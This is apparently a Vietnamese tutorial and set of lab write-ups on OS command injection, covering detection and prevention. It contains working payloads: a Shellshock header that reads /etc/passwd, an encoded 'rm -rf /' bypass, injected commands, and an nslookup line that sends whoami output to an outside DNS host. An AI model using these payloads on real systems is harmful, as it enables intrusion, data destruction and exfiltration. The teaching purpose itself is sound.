# OS Command
## What is OS command injection?
**OS command injection** còn được gọi là **Shell injection**. Nó cho phép attacker thực thi các lệnh hệ điều hành (OS) trên máy chủ đang chạy ứng dụng. Điều này thường xảy ra khi đầu vào của người dùng không được kiểm tra hoặc lọc đúng cách trước khi được sử dụng trong các lệnh hệ thống.
Lỗ hổng này có thể dẫn đến nhiều hậu quả nghiêm trọng, chẳng hạn như đánh cắp dữ liệu, kiểm soát hệ thống, hoặc làm gián đoạn hoạt động của máy chủ.
## The role of OS commands in an application
- Application được cấu tạo từ nhiều lớp khác nhau
- Trong đó, OS Command ra lệnh trực tiếp cho hệ điều hành

## Where does OS Command usually appear?
- Số lần xuất hiện OS Command Injection theo thống kê của [Zero Day Initiative](https://www.zerodayinitiative.com/)

- Với một số feature đặc biệt, Developers bắt buộc phải để hệ điều hành xử lý giùm, đó là lý do xuất hiện nhiều trường hợp xảy ra OS Command Injection. Ví dụ về một số feature:
+ Quản lý tệp và thư mục – Xóa, sao chép, di chuyển hoặc nén tệp (`rm`, `cp`, `mv`, `tar`)
+ Tương tác với mạng – Kiểm tra kết nối, gọi API (`ping`, `curl`, `wget`, `netstat`)
+ ...
## Type of OS command injection
**1. In-band Command Injection**: Attacker thực thi lệnh trên hệ điều hành máy chủ thông qua ứng dụng dễ bị tấn công và nhận được phản hồi của lệnh trong ứng dụng.
**2. Blind Command Injection**: Attacker thực thi lệnh trên hệ điều hành máy chủ thông qua ứng dụng dễ bị tấn công không trả về kết quả từ lệnh trong phản hồi HTTP của ứng dụng.
## How to find vuln
### Black-box Testing
- Xác định tất cả các điểm trong ứng dụng web có khả năng tương tác với hệ điều hành bên dưới.
- Thử đầu vào với các ký tự đặc biệt trong shell để kiểm tra tính dễ bị tổn thương như: `&`, `&&`, `|`, `||`, `;`, `\n`, `$()`
- Đối với khai thác lỗ hổng In-Band Command Injection thì phân tích response của ứng dụng để xác định xem có thể thực thi lệnh hệ điều hành hay không.
- Đối với khai thác lỗ hổng Blind Command Injection sử dụng các phương pháp như:
+ Kích hoạt time-delay bằng lệnh `ping` hoặc `sleep` để quan sát response của hệ thống.
+ Ghi kết quả của lệnh vào thư mục web root và truy xuất tệp trực tiếp qua trình duyệt.
+ Thiết lập một kênh giao tiếp ngoài để gửi dữ liệu về máy chủ kiểm soát, giúp xác định xem lệnh đã được thực thi thành công hay chưa.
+ Xuất kết quả ra tệp trong thư mục web (`echo "test" > /var/www/html/test.txt`).
### White-box Testing
- Xác định tất cả các đầu vào của ứng dụng có thể bị khai thác, bao gồm:
+ Tham số URL (GET, POST)
+ HTTP header (User-Agent, Referer, X-Forwarded-For)
+ Upload file (file uploads)
+ API endpoints
- Xem xét mã nguồn để tìm lỗ hổng (Review source code)
+ Tìm sink khi các input mà người dùng được truyền trực tiếp vào như: system(), exec(), shell_exec(), passthru(), popen(), proc_open()
- Nếu phát hiện input không được validate và filter đúng cách, tiến hành kiểm tra khai thác bằng các cách như blackbox-testing.
## Detecting OS command injection attacks
Có rất nhiều cách để phát hiện OS command injection:
- Khi kiểm tra một request trên một trang web, hãy xem tất cả các khu vực: Lỗ hổng có thể nằm ở các khu vực khác nhau tùy thuộc vào cách ứng dụng web hoạt động. Do đó, bạn nên kiểm tra tất cả các khu vực của yêu cầu web ví dụ như các header (`User-Agent`, `Referer`, `Cookie`)
- Tìm kiếm các keyword liên quan đến terminal: Kiểm tra dữ liệu nhận được từ người dùng để tìm keyword liên quan đến lệnh terminal như `dir`, `ls`, `cp`, `cat`, `type`,...
- Tìm hiểu về các payload thường dùng: Khi attacker phát hiện ra lỗ hổng, chúng thường tạo một reverse shell để công việc của chúng dễ dàng hơn. Do đó, việc biết các payload thường dùng sẽ giúp phát hiện ra cuộc tấn công dễ dàng hơn.
### A Detection Example
```bash
GET / HTTP/1.1
Host: hackmd.id
User-Agent: () { :;}; echo "content:" $(</etc/passwd)
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
```
Khi nhìn vào HTTP header, ta sẽ thấy ở header `User-Agent` đây là header đáng ra nên chi hiện thông tin về browser hoặc thông tin về hệ điều hành, tuy nhiên có một bash command đang thực thi:
```
echo "content:" $(</etc/passwd)
```
Kết quả là toàn bộ nội dung của `/etc/passwd` sẽ được in ra màn hình
Đây là kỹ thuật tấn công Shellshock đang bị khai thác.
> Shellshock là một lỗ hổng bảo mật được công bố vào năm 2014, Shellshock (còn gọi là Bash Bug) là một lỗ hổng nghiêm trọng trong Bash. Shellshock xuất phát từ việc bash vô tình thực thi các biến môi trường.
### A Detection Example 2
## How to Prevent Command Injection
- Cách hiệu quả nhất để ngăn chặn các lỗ hổng OS command injection là không bao giờ gọi các OS command từ application layer. Trong hầu hết các trường hợp, có nhiều cách khác nhau để triển khai chức năng được yêu cầu bằng cách sử dụng API. Ví dụ:
❌
```php
<?php
$host = $_GET['host'];
$output = shell_exec("ping -c 4 " . $host);
echo "<pre>$output</pre>";
?>
```
✅
```
<?php
$host = filter_var($_GET['host'], FILTER_VALIDATE_DOMAIN);
if ($host) {
$response = file_get_contents("http://ip-api.com/json/$host");
echo $response;
} else {
echo "Invalid host";
}
?>
```
- Một số ví dụ về validate hiệu quả bao gồm:
+ Dựa trên whitelist các giá trị được phép.
+ Xác thực rằng đầu vào chỉ chứa các ký tự chữ và số, không có ký tự đặc biệt khác
+ Đừng bao giờ cố gắng validate đầu vào bằng cách thoát khỏi siêu ký tự shell (**Metacharacters shell**)
> Metacharacters là pipe ( | ), ampersand ( & ), semicolon ( ; ), less-than sign ( < ), greater-than sign ( > ), left parenthesis ( ( ), right parenthesis ( ) ), dollar sign ( $ ), backquote ( ` ), backslash ( \ ), right quote ( ' ), double quotation marks ( " ), newline character, space character, and tab character.). Trong thực tế, điều này rất dễ xảy ra lỗi và dễ bị bypass
Ví dụ: Khi đã validate các Metacharacters nhưng vẫn bypass bằng chuỗi hex hoặc encoding
```
127.0.0.1%26rm%20-rf%20/
```
`%26` là mã URL encoding của ký tự &, giúp kẻ tấn công bypass kiểm tra đầu vào.
- Sử dụng các công nghệ ảo hóa như Docker: Điều này giúp cô lập môi trường ứng dụng, giảm thiểu rủi ro bảo mật nếu xảy ra tấn công.
- Sử dụng WAF
- Sử dụng method GET của các request web để dễ giám sát
# Practie lab
## OS command injection, simple case
### Target goal
Bài lab có lỗ hổng OS command injection ở phần kiểm tra số lượng sản phẩm
Ứng dụng thực thi lệnh shell có chứa sản phẩm do người dùng cung cấp và lưu trữ ID và trả về đầu ra từ lệnh trong phản hồi của nó.
Để giải bài lab, chạy lệnh `whoami` để biết tên người dùng hiện tại.
### Analysis and exploit
Trang web sử dụng script được viết trong file `stockCheck.js` để thực hiện kiểm tra số hàng còn trong kho và trả về output cho người dùng. Cụ thể, command có dạng:
```
stockCheck.js <productId> <storeId>
```

Thử với sản phẩm bất kì, ở đây là sản phẩm đầu tiên có `productId=1` và `storeId=1`. Lúc này command sẽ là:
```
stockCheck.js 1 1
```
Như vậy ta hoàn toàn có thể chèn OS command vào `productId` hoặc `storeId` để thực hiện lệnh mong muốn. Thử dùng `echo` ở `storeId` với payload `1; echo 'van'`

Lúc này có thể thấy dòng chữ `van` đã được trả về. Bây giờ chỉ việc thay lệnh `echo 'van'` thành `whoami`

## Blind OS command injection with time delays
### Target goal
Bài lab có lỗ hổng OS command injection ở phần submit feedback
Ứng dụng thực thi lệnh shell có chứa sản phẩm do người dùng cung cấp và lưu trữ ID và trả về đầu ra từ lệnh trong phản hồi của nó.
Để giải bài lab, khai thác lỗ hổng blind OS CMDI làm server delay 10 giây
### Analysis and exploit

server sẽ thực thi lệnh sau khi nhận được feedback từ người dùng
```
mail -s "oooooooooooooo" -aFrom:vandz@gmail.com feedback@vulnerable-website.com
```
Có thể thấy email của người dùng là vị trí ta có thể chèn lệnh OS bất kì. Thực hiện thêm payload vào sau email như sau: `vandz@gmail.com || ping -c 10 127.0.0.1 ||`

## Blind OS command injection with output redirection
### Target goal
Bài lab có lỗ hổng OS command injection ở phần submit feedback
Ứng dụng thực thi lệnh shell chứa các chi tiết do người dùng cung cấp. Đầu ra từ lệnh không được trả về trong phản hồi. Tuy nhiên, bạn có thể sử dụng chuyển hướng đầu ra để nắm bắt đầu ra từ lệnh. Có một thư mục có thể ghi tại:
```
/var/www/images/
```
Bạn có thể chuyển hướng đầu ra từ lệnh được inject sang một tệp trong thư mục này, sau đó sử dụng URL tải hình ảnh để truy xuất nội dung của tệp.
Để giải bài lab, chạy lệnh `whoami` để biết tên người dùng hiện tại.
### Analysis and exploit
Lần này ta sẽ ghi output của command vào 1 file thuộc folder mà user hiện tại có quyền ghi, đó là `/var/www/images/`. Thư mục này chính là nơi chứa các ảnh mà ứng dụng load cho posts thông qua param `filename`.
Ta sẽ chèn command vào trường `email` như hình dưới. Cụ thể output của lệnh `whoami` sẽ được ghi vào file `/var/www/images/whoami`.
```
|| whoami > /var/www/images/output.txt ||
```

Tiến hành đọc file tại `/var/www/images/output.txt`

## Blind OS command injection with out-of-band interaction
### Target goal
Bài lab có lỗ hổng OS command injection ở phần submit feedback
Ứng dụng thực thi lệnh shell chứa các chi tiết do người dùng cung cấp. Đầu ra từ lệnh không được trả về trong phản hồi. Tuy nhiên, bạn có thể trigger ra bên ngoài domain khác
Để giải bài lab, khai thác blind OS CMDI to DNS lookup to Burp Collaborator
### Analysis and exploit
Lần này ta sẽ sử dụng lệnh `nslookup` để query DNS đến domain ngoài. Sử dụng Burp Collaborator để host domain. Payload để chèn giống như hình dưới

Kiểm tra Burp Collaborator ta thấy đã có các DNS query xuất hiện.

## Blind OS command injection with out-of-band data exfiltration
### Target goal
Bài lab có lỗ hổng OS command injection ở phần submit feedback
Ứng dụng thực thi lệnh shell chứa các chi tiết do người dùng cung cấp. Đầu ra từ lệnh không được trả về trong phản hồi. Tuy nhiên, bạn có thể trigger ra bên ngoài domain khác
Để giải bài lab, khai thác blind OS CMDI to DNS lookup to Burp Collaborator đồng thời chạy với lệnh `whoami` để xem người dùng hiện tại
### Analysis and exploit
Lần này yêu cầu phức tạp hơn đó là output command thông qua các DNS query. Khi sử dụng lệnh sau, ta sẽ lấy được output của lệnh `whoami` qua DNS query
```
nslookup `whoami`.<Collaborator domain>`
```
Chèn payload như hình vào trường `email`

Kiểm tra Burp Collaborator ta thấy đã có các DNS query xuất hiện cùng với đầu ra của lệnh `whoami`.
